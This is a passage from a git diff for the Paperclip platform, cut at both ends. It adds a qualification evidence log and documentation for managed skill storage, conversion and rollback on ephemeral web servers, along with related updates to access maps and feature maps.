`07fffa749` with home + `/tmp/ephemeral-skills-c`. Console verified A and B directories and B's marker + absent. Studio cold-read v7 and the exact acknowledged B payload. +- Unassigned fork v2 identity was independently confirmed as + `8b008393-f909-424a-9f68-1995231455a7`. It remained at zero assignments on C; + its supporting file was then edited through Studio to a C-specific payload. + Execution on the candidate with native Studio admission remains pending. +- C's remote EPH-7 (`d57f6f66-7072-4fb9-abde-199edf5192ef`), run + `c7f89682-ab9b-4f00-940f-88967c6c0264`, completed successfully. The saved + `server-c-skill-proof` document (revision `8129375b-f56c-4b80-99b0-637481a31f72`) + was independently opened and read. All five hashes matched the B run and + independent references. Its new session `7f164893cdc73464e112e2572baed3ddc166bb29485d770c37fbf7449793cdc0` + executed the unchanged script with exit 0, mode 0555 and the exact B payload. + The managed selected/current version remained v7, and repository selection + remained v1 while its current head remained v2. +- Review of `8821b040` found that native task creation omitted the admitted + skill-test scope. Image build `41108317938` was cancelled before deployment. + Native authorization now carries the saved scope, denies company/peer tools, + task creation and external tools, and checks the scope before mutation receipt + replay. Task context contains only the harness task. Real database regressions + exercise both fresh tests and persisted tests after their task mode changes. +- Native scope checks passed: three new real-database cases plus four REST + scope/image-access cases. The existing native tool-authority suite passed all + 37 tests. Server typecheck and map checks passed. The initial new-test attempts + corrected a fixture tool name and matched the existing privacy-preserving 404 + for unrelated tasks; own-task reads returned 200. +- `350f1b377c459420a1c1474723501a4bccc6d7fc` received Greptile 5/5. + The native-scope review thread is resolved. Test deployment request + `d2480188-1fc9-4a22-a32b-16af7f439ca4` prepared in Cloud run `41110650568`; + candidate image build is `41110729544`. +- The fork's C save is version `ef34d9e5-2533-497e-8411-a797117afb4a`. + C's durable `tool.execution.completed` event at sequence 322 was inspected + independently of the report: the real shell command completed with exit 0, + mode 555, all five expected hashes, and `skill-script-A: durable-skill-payload-B-20261030`. + A disposable `qualification-marker-c` was written in C's temporary home for + the next container replacement check. +- Full CI at `350f1b377c` passed 50 checks but found two old `mode_denied` + message expectations in case/reassignment tests. Both operations are rejected + earlier by the native scope guard with 403. Updated the assertions and checked + that denial never stops another task. The case-gate regression and all 26 + reassignment tests passed locally. Reassignment now uses the existing optional + external-Postgres helper; initial attempts hit exhausted embedded-Postgres + resources and a startup timeout, retained as failures rather than passes. + These follow-ups change only tests and evidence, not candidate runtime code. +- Image `350f1b377c` deployed successfully in Cloud run `41115408877`, confirmed + by local health on deployment `d70457ab-a812-45d5-8a38-657f6bfc02de`, replica + `9f58192d-9207-4065-86e4-48887c6a8b3e`. A/B homes and C's marker were absent. +- Studio test `ef0aa327-f719-44a3-bea2-1d051f2a793a`, task EPH-8 + (`860476c5-d4bf-4619-9206-8aa18884f545`), executed successfully but delivered + the agent's normally assigned primary skill instead of the requested unassigned + fork. Its report explicitly records the mismatch. This is a failed qualification, + regardless of the task's Done status. The fix passes the durable Studio pin into + execution preparation, replacing ordinary assignments while preserving recovery + pins and current access checks. Hosted retry remains required. +- The same EPH-8 heartbeat (`94eeb6ff-7d9e-49b7-bee2-0ef5f41ff8a4`) succeeded + and marked its task Done, but the Studio row remained queued with an empty + output snapshot. Native completion bypassed the REST-only success hook. Native + status publication now calls the existing skills owner within its transaction; + status, output and activity commit together. Four real-Postgres regressions pass + for completion/cancellation, replay from another client, transaction rollback, + blocked work and superseded tests. Completion uses a conditional terminal update. +- The two selection regressions pass, including assembled dispatch of an unassigned + historical executable file. Server typecheck and map checks pass. A broad local + execution suite attempt hit timeout cascades (20 passed, 9 failed); this is not + counted as success. Isolated new tests passed; the full affected suite is rerunning. +- Compatible rollback request `2363f01e-2e6b-4b72-9234-3fd0c5f22e88` deployed + `6518b323528b2b595c5949c3ed2c57a8d2438cb6` through Cloud run `41116892516`. + Deployment `5034b027-d9e2-4bd6-8efe-526d3d065d7d`, replica + `9ff45218-e553-4122-b411-e7052c521917`, was confirmed through local health. + The predecessor's `qualification-marker-d` was absent. Studio reopened the + unassigned fork's v3 supporting file as `unassigned-payload-C-20261030`. +- Rollback task EPH-9 (`d5d03621-9616-4713-88ad-0ea54e4c3d53`), run + `7ae0b61d-0e9f-4761-914c-9dc399c0ebc8`, completed on a real remote Computer. + Its `rollback-skill-proof` document matches all six independently known hashes, + managed v7 and repository v1 IDs. It executed the unchanged script with exit 0, + mode 0555 and the acknowledged B payload. Durable command event sequence 293 + was independently inspected through the tenant console and confirms those + bytes, hashes and actual execution. The repository rule also produced the useful + independent-requests `Promise.all()` recommendation. +- The complete affected suites passed all 33 tests in 65.65 seconds. The Studio + fix is `417270ab18`; current master `3b84c89885` merged without conflicts as + `5afd8c3b056f6c0fceeb121c0f398beb72317e2b`. Post-merge server typecheck, + all 33 affected tests, map checks and UI token gates passed again. +- The independent OS-process replacement matrix passed again on `5afd8c3b05` + (two scenarios, 54.24 seconds). A/B/C version IDs were + `56c4b315-082f-4caa-8788-02e10b45d3a4`, + `ed03e467-3a81-4256-849e-53ece688e5aa`, and + `9ff5d4ce-43e7-4b2e-883d-8b010fc5c42b`. Cold read was 522.16 ms, + two downloads/899 bytes; warm preparation was 143.72 ms with zero downloads. + Reported RSS was 881,639,424 bytes and disposable home content 820 bytes. + These are local fixture measurements, not hosted latency claims. +- Candidate request `9a03542e-ea41-4ea1-94c8-7dd1ae38c621` prepares in Cloud + run `41118819981` and builds in Core run `41118878753`. The tenant remains on + the verified rollback image until this candidate is deployed. +- Review at `5afd8c3b05` found that existing partial repository versions could + bypass conversion and be reported as eligible. Installation conversion, + eligibility and independent verification now compare the current saved inventory + with the installed inventory. Missing files block readiness; conversion can use + only complete saved/local content or the exact pinned remote source. Both JSONB + and packaged legacy regressions pass, including upstream failure with an unchanged + head, exact-commit repair and unchanged complete installations. The entire managed + content suite passed 16 tests. Build `41118878753` was cancelled before deployment + so hosted acceptance will use a candidate containing this correction. +- Full workspace typecheck passed after allowing the migration launcher's local IPC + socket. The initial sandbox attempt failed with `listen EPERM` before that check + could run. The workspace build is running separately. +- The workspace build passed on `9200e3fcb4` after correcting a missing-version + null check caught by its first attempt. Greptile re-reviewed that commit at + 5/5 with zero unresolved findings. Image request + `0b5a10c1-dccf-4c01-9db7-548ea07897a0` prepares in Cloud run `41120340127` + and builds in Core run `41120440752`. +- Earlier failed Studio fixture `ef0aa327-f719-44a3-bea2-1d051f2a793a` was + cancelled through Studio to settle its stale queued pin. Its mismatch report and + draft output remain visible. It is still recorded as a failed qualification. +- CI run `41120305357` found the same obsolete restart-scope fixture in Runner + static checks and general server shard 5. The helper always returned no saved + skill; preparation now correctly rejects that state. It now reads a real durable + test/version row, asserts missing-version rejection first, and still verifies + restricted REST scope after task-mode edits. Both focused HTTP cases and server + typecheck pass. The complete 52-case HTTP suite passed in 63.78 seconds. This follow-up + changes only the test fixture and evidence, leaving image runtime code unchanged. +- Master advanced to `76fde891cc` during image publication. Merge `61f5664337` + preserves both the skill-recovery and native-usage imports; no skills behavior + changed in the merge. Full workspace typecheck and build passed. A combined + local run passed 42 cases, failed three execution timeouts plus a tracer setup + assertion, and skipped 52 HTTP cases after a setup timeout. Isolated retries + are recorded below rather than treating the combined run as passing. +- Review found a delayed conflict-reload response could overwrite text typed after + discard confirmation. The response now applies only while the same skill, file + and draft remain current. All 17 Studio component cases passed, including a + delayed response while the user continues typing. This client-only follow-up + is separate from the `9200e3fcb4` server image used for remote delivery proof. +- Full CI run `41124309799` passed at `7ec495de77`; Greptile review 14 is 5/5 + with zero unresolved findings. The isolated local execution retry stopped + producing progress and was interrupted; no success is claimed for that attempt. + The full CI suites cover the integrated execution and HTTP cases. +- Candidate `9200e3fcb45082ad73fbb75863d56eb2e6ce526c` deployed successfully + through Cloud run `41124147876`, ready at `2026-10-30T20:36:46Z`. + Deployment `3daed721-eefe-4947-afe3-d8fd1db6aa2c`, replica + `29375d2e-50ea-467e-9492-a2d4bc7e628e`, retained the temporary C home setting. + Console inspection confirmed A/B homes and the rollback marker absent. +- The Studio retry created test `7c55d51d-c2c9-426e-a2fa-3606c486d41a`, task + `e8405564-1d2e-4013-8aeb-145de0a76fbd`, and remote run + `c6ebc90d-1411-404b-ad6d-789d960a7a48`. It delivered only the selected + unassigned fork `ef34d9e5-2533-497e-8411-a797117afb4a` (v3), with + `unassigned-payload-C-20261030\n`, stdout + `skill-script-A: unassigned-payload-C-20261030\n`, exit 0 and mode 0555. + Studio visibly reached `succeeded` and displayed the durable output snapshot. + The fork still has zero assignments. SHA-256 values match the expected fixture: + `SKILL.md` = `a97ee4d33cac28f9affcc53e48b3de00f72a9a8b70a0b3a53bb81569b1111ae6`, + reference = `0d5a7396baaf395ef24e9136b2f9892e9878d863b42ff3195d376f61248d1f5f`, + script = `8830c87e4e56e76dbe70bfac5fa4260d1e33d62eaa3289d1f8887a3fa9521da0`. +- Independent database inspection confirmed task EPH-10 is done, its native run + succeeded, and its exact durable selection contains only the unassigned fork v3. + The Studio row is `succeeded` with a 1,915-character output snapshot. Runner + command event sequence 204 independently confirms all three hashes, actual + script stdout, exit 0 and mode 0555; these are tool results, not only the agent's + report. The Studio success screenshot is retained with the handoff. +- Final eligibility inspected 14 installations, all `version_backed`. + Independent verification inspected 25 versions: 23 `remote_storage`, two + `database_release_snapshot`, zero blockers, and zero rows at the next cursor. + The first standalone command incorrectly reported packages unavailable because + it had not loaded Cloud's persisted runtime configuration. The same services + passed after loading that snapshot. The CLI now loads it read-only and fails + explicitly if absent, without seeding configuration. A real child-process test + covers missing configuration, no write on inspection, eligibility, and object + verification; it passed. An initial diagnostic wrapper also used a nonexistent + compiled DB entry point; correcting it to the image's source entry point allowed + the bounded verification to run. Neither diagnostic failure changed skill data. +- The CLI child-process regression passed in 46.52 seconds, and server typecheck + passed after the bootstrap correction. The CLI reads existing configuration + without creating or changing it; no new maintenance process or listener exists. diff --git a/doc/plugins/PLUGIN_RUNNER_EXECUTION.md b/doc/plugins/PLUGIN_RUNNER_EXECUTION.md index 117ccca2166..9e6f746fc77 100644 --- a/doc/plugins/PLUGIN_RUNNER_EXECUTION.md +++ b/doc/plugins/PLUGIN_RUNNER_EXECUTION.md @@ -222,6 +222,16 @@ Core permits read-only suspension proof for the exact saved identity of a successful warm run after its reuse lease is retained or superseded. This does not authorize new work or file access through that lease. Temporary credential homes are not needed after the originating run ends. +An explicit reset to a different normalized session can retire a warm owner +whose close failed only because it could not prove checkpoint suspension. Core +requires the exact lease-bound task's `executionStopped: true` receipt, a +successful `complete` handoff, and settled Core tool results first. It then +collects stopped instruction files before it releases the in-memory owner. The old checkpoint remains evidence; +it is not reused by the new session. A failed handoff, failed file collection, +unsettled Core tool result, other close error, or continuation of the same +session still blocks replacement. +A controller restart is not required for this stopped-owner reset path. + Termination receipts cover all run leases that owned the retired physical task. A stopped task gets a new provider task ID for checkpoint resumption. Inspection precedes in-memory session selection so a replacement cannot inherit the stopped diff --git a/doc/plugins/PLUGIN_SPEC.md b/doc/plugins/PLUGIN_SPEC.md index 9e5c8370823..af3b060021b 100644 --- a/doc/plugins/PLUGIN_SPEC.md +++ b/doc/plugins/PLUGIN_SPEC.md @@ -409,12 +409,12 @@ export interface PaperclipPluginManifestV1 { exportName: string; /** For detailTab: which entity types this tab appears on */ entityTypes?: Array<"project" | "issue" | "agent" | "goal" | "run">; - /** Optional agent detail tab mirrored beside a running task. - * Declared board GET route scoped to agent :entityId returns { available: boolean }. + /** Optional agent detail tab offered beside a task for manual selection. + * Declared board GET route scoped to agent :entityId controls readiness for automatic opening. */ taskSidePanel?: { availabilityPath: string; - /** Match runtime.activity.recorded; absent mappings add no task panel. */ + /** Match runtime.activity.recorded for automatic opening; manual views need no mapping. */ activation?: { namespace: string; activityKey: string }; }; /** For page and companySettingsPage: single route segment */ diff --git a/doc/skill-ephemeral-web-servers.md b/doc/skill-ephemeral-web-servers.md new file mode 100644 index 00000000000..f3c5b4e9a30 --- /dev/null +++ b/doc/skill-ephemeral-web-servers.md @@ -0,0 +1,180 @@ +# Skills on ephemeral web servers + +The skills guarantee is replacement of A by B, and then C, with empty web-server +homes and the same database, object storage, secrets and supported application +artifacts. Disk remains useful for scratch archives, verified caches and transport +staging. It does not own acknowledged managed edits or installed version selection. +This guarantee does not qualify instructions, workspaces, controller state, run +logs, traffic switching or readiness/draining for volume removal. + +## Ownership and publication + +`managed` is Paperclip ownership. Its locator is null; editability does not depend +on a directory's position beneath a managed root. Existing policies normalize it +to `workspace`, the policy category previously used by managed local skills. +Repository provenance and tracking remain separate from installed content. Forks +and disconnected editable copies retain source access and cannot publish restricted +content through a public source category. + +`managed-skill-content.ts` reads immutable version inventories, prepares candidates, +and publishes them against a captured head. Package upload and verification happen +before the final database transaction. That transaction rechecks identity/access, +locks names in sorted order, locks the skill, verifies the base, and publishes the +version, head, projections and applicable mutation audit/receipt. Publication races +return `409`; clients must reconcile instead of automatically rebasing. Complete +inline versions remain the compatibility fallback when external writes are disabled; +they never depend on an installed directory. Normal cloud qualification uses remote +object storage. + +The initial create response, including its original version, can be replayed after +a lost response and subsequent edits. Its durable API receipt retains the response +projection without Markdown; the immutable version supplies the body. Receipts +remain scoped to company, actor and operation context. A deleted skill's receipt +fails explicitly rather than creating another identity. + +`skill-execution-content.ts` owns temporary materialization. Heartbeat preparation +selects authorized immutable versions, saves the selection (including an empty +selection), and only then materializes admitted entries while retaining the existing +retention lock. A renamed skill is recovered through the version's stable skill ID. +Native recovery resolves the version, reconstructs its v1 projection and requires +the admitted digest, manifest digest, file count and byte count to match. Adjacent +compatible releases must preserve that projection contract. + +Studio tests deliver the selected saved version through the same native Runner +path, even without a permanent agent assignment. Their `skill_test` mode remains +explicit in the execution input. The durable test row replaces ordinary agent +assignments with its exact version, independently of the Beta skills preference; +required environment skills remain subject to their existing policy. A shadowed +or inaccessible test skill fails preparation. Preconfigured Runner homes cannot +receive this managed delivery, so Studio requires an isolated home. Task-bound +credentials and native authorization +retain the admitted scope through restart and task-mode edits. Native tools expose +only the harness task and admitted skills; company browsing, task creation, +connectors and assigned MCP tools are unavailable. A rollback image must understand +that mode to continue an active Studio test. Settle tests before rolling back to an +earlier image that rejects it. + +Native task completion publishes the Studio result and output snapshot in the +same transaction as its status decision. Replaying a committed decision cannot +recapture later document edits or duplicate completion activity. A successful +provider turn alone does not complete a test whose task remains unfinished. + +Bundled release snapshots remain immutable. Reconciliation preserves an installed +head; an older process must never promote its shipped bytes over another installed +version. The shipped release history remains independently selectable. Linked-local +skills retain mutable source behavior and are explicitly excluded from cloud readiness. + +## One-time conversion + +First deploy compatible readers and shared/API types. Preserve the old volume and +keep legacy writers until the final supported contents can be captured. Automatic +JSONB package migration is separate from installation conversion; passing one does +not prove the other is finished. + +Run the existing bounded CLI with the target's explicit database and storage config: + +```sh +pnpm --filter @paperclipai/server exec tsx scripts/migrate-skill-packages.ts --phase=eligibility --company= --limit=10 +pnpm --filter @paperclipai/server exec tsx scripts/migrate-skill-packages.ts --phase=installations --company= --limit=10 +``` + +These commands return a cursor. Continue each phase with `--after=` until an +empty batch. Eligibility is a metadata-only report, not a storage verification claim. +Installation preview inspects candidate legacy contents without publishing them. +For remote legacy imports it can acquire their exact pinned source; it must never +use the latest branch as a replacement for missing installed content. + +1. Inventory all companies and source kinds. Identify missing versions, incomplete + inventory, local storage receipts, catalog reset snapshots and unresolved runs. +2. Backfill legacy package/version bodies with the existing `snapshots` and + `versions` phases. The latter also fills missing version metadata indexes so + subsequent library/history reads need no object downloads. Keep original bytes + until independent verification succeeds. +3. Stop admission and skill/source writers; retire every filesystem-authoritative + process. The `--writers-stopped` flag attests this operator action; it does not + stop the application itself. +4. Apply final installation conversion on the host with the legacy files: + + ```sh + pnpm --filter @paperclipai/server exec tsx scripts/migrate-skill-packages.ts --phase=installations --company= --limit=10 --apply --writers-stopped + ``` + +5. Sweep `eligibility` and `verification`, including all historical versions. The + latter verifies object bytes independently of caches. Follow all cursors; a + successful first batch is not a complete readiness report. +6. Start a compatible server with a fresh home and test list, file read, authoring, + history and exact selected execution before reopening normal admission. + +Managed conversion preserves skill IDs, keys, history, assignments, pins and access +provenance. Identical complete snapshots reuse their version IDs. Catalog conversion +preserves the original reset version as well as installed content. A missing legacy +directory can use a complete verified saved version. A partial Markdown-only rescue, +unknown revision, unsafe source tree or active legacy selection without exact version +identity is a blocker. Settle or snapshot such runs while A is still available; do +not cancel them simply to pass preflight. + +Report statuses distinguish linked-local sources, legacy managed/catalog records, +missing current versions, unknown active-run selections, missing/corrupt packages, +local storage and provider mismatch. Expired unused Git history keeps its existing +30-day/exact-commit policy. Current, pinned, authored and recovering versions need +independent durable content. `local_storage` is supported self-hosted durability; +it does not satisfy remote empty-disk recovery. + +## Storage and rollback + +Cloud readiness requires external Postgres and remote object storage. Migrate and +verify existing local-disk objects before changing provider/bucket configuration; +changing configuration alone does not copy receipts or objects. Keep the old provider +available until a provider migration has copied and independently verified every +referenced object and atomically updated its storage receipt. This command does not +perform provider migration: `local_storage` and `provider_mismatch` are blocking +results for cloud qualification, not instructions to switch configuration and retry. +A directory of extracted caches is never a durable object backend. + +The maintenance CLI reads the existing storage configuration directly so it can +verify legacy local-disk objects before cutover. On Cloud it still requires the +persisted runtime configuration and never seeds or changes that configuration. +This maintenance boundary does not start a server or relax Cloud server startup +requirements for external PostgreSQL, shared object storage and a stable secret +key. Apply operations retain their existing stopped-writer gates. + +Conversion establishes the rollback floor. Afterward only compatible version-reading +binaries may overlap or be rolled back against the same remote state. Reattaching an +old volume does not roll back committed content. Filesystem-authoritative binaries +require an explicit reverse migration and are unsupported rollback targets. +A routine compatible A → B upgrade needs no skills conversion or filesystem copy. + +A current version ID alone does not establish conversion completeness. Eligibility +and independent verification compare its file inventory with the installed record +and report `incomplete_current_version` when supporting files are missing. Installation +conversion can reacquire a complete exact pinned source; unavailable or unpinned +sources remain blockers. Historical versions are not compared with newer installed +inventories, since later revisions may legitimately add files. + +## Qualification + +The focused service suite covers publication rollback/conflict, supporting and binary +files, executable modes, restore/fork/rename, active-run deletion protection and legacy +conversion. The opt-in process suite starts independent Node servers with one database +connection each, exercises real HTTP routes and object storage, removes predecessor +homes and executes a delivered harmless script. It also injects a lost response, failed +upload and process death during upload. It is a skills-router qualification, not a +full hosted Runner or whole-application deployment claim. + +Use owned disposable Postgres and S3-compatible fixtures. The optional admin URL +creates a random database per test suite and never migrates the database named in +that URL. The S3 test creates and removes its own random bucket. Supply test-only AWS +credentials through the environment: + +```sh +PAPERCLIP_TEST_POSTGRES_ADMIN_URL= \ +PAPERCLIP_TEST_S3_ENDPOINT= \ +pnpm exec vitest run server/src/__tests__/ephemeral-skills-process.test.ts +``` + +Record revision, fixture image digests, version IDs, cache/object reads, cold/warm +timings and useful output. These local timings do not establish hosted latency. +Separately qualify one disposable staging tenant and a real remote Runner, including +an explicit repository import, historical pin, fresh-home replacements, compatible +rollback and recovery without predecessor paths. Publish the observed evidence with +the PR; a passing local suite is not that staging evidence. diff --git a/doc/skill-package-storage.md b/doc/skill-package-storage.md index 91fdd7c9005..68dbe427614 100644 --- a/doc/skill-package-storage.md +++ b/doc/skill-package-storage.md @@ -7,7 +7,26 @@ The original repository tree, wrappers, binary bytes and executable flags retain their existing behavior. New Git packages also retain an immutable restore recipe; locally authored/edited packages and unproven legacy packages keep a durable copy. -## Automatic upgrade +## Installed content authority + +Paperclip-owned skills use `sourceType: managed`, `sourceLocator: null`, and an +immutable `currentVersionId`. Creation, edits, deletion of files, forks and restores +prepare verified packages before a short transaction publishes the version, head, +metadata and audit. A competing head returns `409`; it never overwrites another +writer's files. Acknowledged saves survive cache loss. Studio submits the version it +read and preserves unsaved text on a conflict. + +Repository and catalog installations also read committed versions. Runtime selection +persists version pins before delivery materializes files. Recovery uses the pinned +version and checks its reconstructed v1 asset digest; a previous server's `rootPath` +is not proof of availability. Active or recovering run pins block whole-skill deletion, +even after the agent assignment is detached. Explicit linked-local sources retain +their local filesystem behavior and are outside this replacement guarantee. + +See [ephemeral web-server operation](skill-ephemeral-web-servers.md) for the one-time +installation conversion, rollback boundary and qualification procedure. + +## Automatic package upgrade No data-migration command is required. The normal schema upgrade applies migration 0415 (`0415_zippy_zemo.sql`). External writes and automatic conversion are enabled by default. Startup @@ -31,20 +50,30 @@ reader is the rollback floor; an older binary needs rehydrated database contents Use durable, backed-up local storage or S3-compatible storage for authored packages. The extracted cache is not that storage backend. -Deleting an editable file or folder keeps a temporary copy outside the skill until -the transaction commits. Upload or database failures restore the original subtree, -including binary files, permissions, empty folders and files omitted from inventory. -Successful deletions remove the temporary copy; historical versions retain their -existing package bytes. If the commit reply is lost, recovery checks the saved -version under the mutation lock before restoring. A committed deletion stays -deleted. If the database is unavailable or the skill has since changed, recovery -preserves the backup and logs its location instead of overwriting newer work. +Managed file and folder deletion publishes a new inventory. It requires no local +rollback copy. Unused uploads follow the existing orphan/deletion machinery; a +post-commit cache or notification failure cannot undo a committed save. Only the +explicit linked-local compatibility adapter retains filesystem rollback handling. + +Create idempotency receipts retain the original response projection and immutable +version identity in `company_skill_mutation_receipts`; file-save receipts keep their +existing activity receipt shape. Retries reauthorize access. Deleted identities do +not transfer their receipts to a skill recreated with the same name. Skill bodies +remain in packages/versions rather than activity logs. The optional `server/scripts/migrate-skill-packages.ts` command remains available for diagnostics and controlled batches. It defaults to dry run, supports -`--phase=snapshots|versions|orphans|deletions`, `--company=`, `--limit=1..50`, +`--phase=snapshots|versions|orphans|deletions|installations|eligibility|verification`, `--company=`, `--limit=1..50`, `--after=`, `--apply` and `--clear-legacy`. It is not part of normal installation -or upgrade. Never point it at another instance's database/storage configuration. +or compatible routine upgrade. The installations phase is the one-time legacy +conversion boundary described in the linked runbook. Never point it at another instance's database/storage configuration. + +New package-backed versions retain their complete path/kind/encoding index in +`package_file_map`, including identity mappings. Library and version listing read +this metadata without downloading manifests or archives. The bounded `versions` +phase also backfills older null indexes from verified manifests without changing +version IDs or content; include that phase in legacy conversion. Old null indexes +remain readable during conversion, with a cold manifest read when needed. ## Acquisition and retention @@ -83,8 +112,11 @@ Package/version publication and deletion use transaction-aware work notification local asset use signals its filesystem worker. Both reuse the delivery coordinator, restore deadlines on startup, pause in drain/standby, and stop on shutdown. With no pending conversion, retry, or eligible cache deadline they perform no recurring work. -The supported live writer is the owning server; independent SQL writers/other servers -need restart reconstruction or an explicit wake. No permanent DB listener is added. +Compatible servers resolve the durable head on each content operation and use +transactional publication checks. Content correctness needs no process-local +invalidation. Maintenance wake delivery across instances remains owned by the +delivery coordinator; startup reconstructs pending deadlines. No permanent +skills-specific DB listener is added. Conversion retains authoritative legacy bytes until verification succeeds. Conversion retries and cache/deletion dates are optional maintenance eligibility; they may wait until the next ingress wake, including with package storage disabled. They do not diff --git a/maps/agent-access-map/agents.md b/maps/agent-access-map/agents.md index 7ab0cc3db53..ebb8329bee9 100644 --- a/maps/agent-access-map/agents.md +++ b/maps/agent-access-map/agents.md @@ -270,6 +270,10 @@ Policy: Agent creation/configuration uses action grants, resource policies and c consent; some controls require a board actor. Permanent deletion is board-only. Retained case handoff references return `409 agent_case_history_retained` before dependency cleanup; keep the agent terminated. +Failed configuration verification waits for a changed execution configuration +or an authorized explicit retry. That wait does not grant an agent permission +to retry itself, resume execution, or change configuration. Temporary verification +outages retain automatic recovery. Evidence: `source-only` — [implementation](../../server/src/routes/agents.ts#L1395) at the reviewed commit above. diff --git a/maps/agent-access-map/skills.md b/maps/agent-access-map/skills.md index 100a06f8921..f6c06d5d3bf 100644 --- a/maps/agent-access-map/skills.md +++ b/maps/agent-access-map/skills.md @@ -29,6 +29,15 @@ covers separate actors and revoked project access; the [package regression](../../server/src/__tests__/skill-package-store.test.ts) covers company isolation and warm-cache behavior. This does not claim live agent qualification. +Managed ownership remains in the existing `workspace` policy category. Immutable +content references do not grant authority: publication rechecks policy and source +access, and delivery/recovery rechecks the company's skill visibility. File reads +and mutations return `versionId`; content requests may supply `expectedVersionId` +and receive `409` on a stale base. Existing idempotent agent receipt shapes remain. +Detached assignments do not release active/recovering execution pins. These are +source-reviewed contracts; the independent-process board fixture is not agent +credential or hosted Runner qualification. + ## `discovery` Capability ID: `skills/discovery`. @@ -210,6 +219,20 @@ Gaps: No dedicated native orchestration binding; generic REST calls retain skills.test policy, task-assignment authorization, responsible-user intersection and admitted skill-test JWT scope. +Studio's `skill_test` work mode is admitted through native Runner selection and +preserved in execution input. The admitted task-bound scope restricts REST and +native authorization, including after task-mode edits and recovery. Native tools +allow only the harness task and admitted skills. Task creation, company browsing, +connectors and assigned MCP tools are unavailable; native mutation receipts recheck +the scope before replay or effects. +Preparation reads the pinned version from the durable test row, replaces ordinary +assignments, and enforces current skill access. Required environment skills retain +their owner policy; a shadowed test pin fails explicitly. Recovery preserves the +admitted selection. Preconfigured Runner homes reject managed Studio delivery. +The [execution configuration regression](../../server/src/__tests__/heartbeat-execution-configuration.test.ts) +covers unassigned historical pins, Beta skills disabled, revoked access, recovery, +unchanged agent assignments, and assembled heartbeat dispatch. + Project-source API additions: GET `/api/companies/{companyId}/skill-sources/project-repositories`, POST `/api/companies/{companyId}/skill-sources/adopt-project` with `workspaceId`, and PATCH `/api/companies/{companyId}/skill-sources/{sourceId}/settings` with expected revision diff --git a/maps/feature-map/agents.md b/maps/feature-map/agents.md index f939667b581..c8873671720 100644 --- a/maps/feature-map/agents.md +++ b/maps/feature-map/agents.md @@ -215,7 +215,9 @@ Manual: Save a harmless instruction edit, reload, and verify its revision and ef For failed setup, use an unavailable model or invalid command on a disposable agent. Confirm the profile names the failed verification step and gives a relevant action. -Check that it explains automatic retry and offers **Retry now**. Fix the configuration, +Check that a failed configuration test explains that automatic verification is paused +and offers **Retry now**. Repeated refreshes must not start another test. Timeouts +and temporary test-environment failures still retry automatically. Fix the configuration, retry, and reload; the failure must disappear only after readiness commits. Provider output and credentials must not appear in the lifecycle message. diff --git a/maps/feature-map/skills.md b/maps/feature-map/skills.md index c2cea1247ac..d1addcf3717 100644 --- a/maps/feature-map/skills.md +++ b/maps/feature-map/skills.md @@ -55,6 +55,14 @@ Automated: [Studio](../../ui/src/pages/SkillStudio.test.tsx) covers UI behavior; Manual: Create or fork a disposable skill, edit instructions, save, and reload. Run a bounded test, respond to any question, and inspect the output. Verify the saved version matches what was tested and failed saves retain the draft. +For managed skills, open the same file in two Studio sessions. Save through one, +then save the other's stale draft. It must receive a conflict, retain its text, +and offer **Load latest saved file** with discard confirmation. File reads and +mutation results identify the committed version. Managed content has no server +source-directory repair flow. The [domain regression](../../server/src/__tests__/managed-skill-content.test.ts) +and [process qualification](../../server/src/__tests__/ephemeral-skills-process.test.ts) +cover fresh-home recovery; remote Runner staging remains a separate live proof. + Version history lists file metadata without downloading archives. Opening a diff fetches only its selected versions; restoring fetches the chosen version. The [library UI regression](../../ui/src/pages/CompanySkills.test.tsx) checks deferred @@ -152,6 +160,12 @@ Capability ID: `skills/testing`. Scope: ui Storybook: Studio test inputs/configuration, running, question/approval, result and failed test states. Production: Run bounded test of actual saved version with correct selected account/environment; inspect persisted test detail and eligible interaction response. +Remote Runner selection accepts the Studio test work mode and preserves its +restricted scope; live qualification must cover the saved version delivered to +the selected Computer, including a skill with no permanent agent assignment. +The [execution configuration regression](../../server/src/__tests__/heartbeat-execution-configuration.test.ts) +checks that Studio's historical version replaces ordinary assignments without +changing the agent's configuration. Use an isolated Runner home for this journey. Sources: Source: [SkillStudio.tsx](../../ui/src/pages/SkillStudio.tsx), [companySkills.ts](../../ui/src/api/companySkills.ts). Tests: [SkillStudio.test.tsx](../../ui/src/pages/SkillStudio.test.tsx), [company-skill-test-runs-service.test.ts](../../server/src/__tests__/company-skill-test-runs-service.test.ts) ### Documentation scope: Skills, Skill Studio, and teams diff --git a/maps/feature-map/task-coordination.md b/maps/feature-map/task-coordination.md index b7ef92dbf7f..950219c3292 100644 --- a/maps/feature-map/task-coordination.md +++ b/maps/feature-map/task-coordination.md @@ -59,17 +59,19 @@ their execution, and uncertain prior executions must be reconciled before waking ### Plugin task panels An installed plugin can offer an agent detail tab in the task side panel through -its optional `taskSidePanel` declaration. The host supplies the task's running -agent and run. The runtime captures Runner context before use and records -`runtime.activity.recorded` after success. Runner rejects stale contexts and knows -no plugin or view identity. Core maps the recorded namespace/activity key to the -panel's declared activation pair and restores it from the run log on reload or -reconnect. Readiness gets three bounded attempts after matching activity, with -no periodic availability poll. Declarations without a mapping add no task panel. -The plugin's authorized availability route decides whether the panel is -shown, and the plugin owns its label and viewer. No contribution appears for a -missing plugin, inactive run, unavailable view or access failure. A closed panel -can be reopened from the launcher while available. +its optional `taskSidePanel` declaration. The launcher offers that view for the +running agent, or the task's assigned agent when idle. Manual selection mounts +the same authorized viewer used on the agent page and needs no activity event. +The view remains selectable after the run ends. + +A declared activation pair controls automatic opening. The runtime captures +Runner context before use and records `runtime.activity.recorded` after success. +Core maps that namespace/activity key to the declaration and restores it from +the run log on reload or reconnect. After matching activity, readiness gets +three bounded attempts with no periodic availability poll. A ready view opens +the pane and selects its tab once per run, respecting dismissal during that run. +Declarations without a mapping support manual selection. Plugins own viewer +content, readiness, and authorization. Missing or disabled plugins add no view. Implementation: [panel discovery](../../ui/src/hooks/useTaskPluginPanels.ts) and [task panel](../../ui/src/components/task-side-panel/TaskSidePanel.tsx). diff --git a/packages/adapter-utils/src/execution-target.test.ts b/packages/adapter-utils/src/execution-target.test.ts index be9dfde46e3..046f2cc80f5 100644 --- a/packages/adapter-utils/src/execution-target.test.ts +++ b/packages/adapter-utils/src/execution-target.test.ts @@ -8,6 +8,9 @@ import { prepareGitHubOperationLaunchers, adapterExecutionTargetUsesManagedHome, ensureAdapterExecutionTargetRuntimeCommandInstalled, + ensureAdapterExecutionTargetDirectory, + ensureAdapterExecutionTargetCommandResolvable, + isAdapterExecutionTargetUnavailableError, 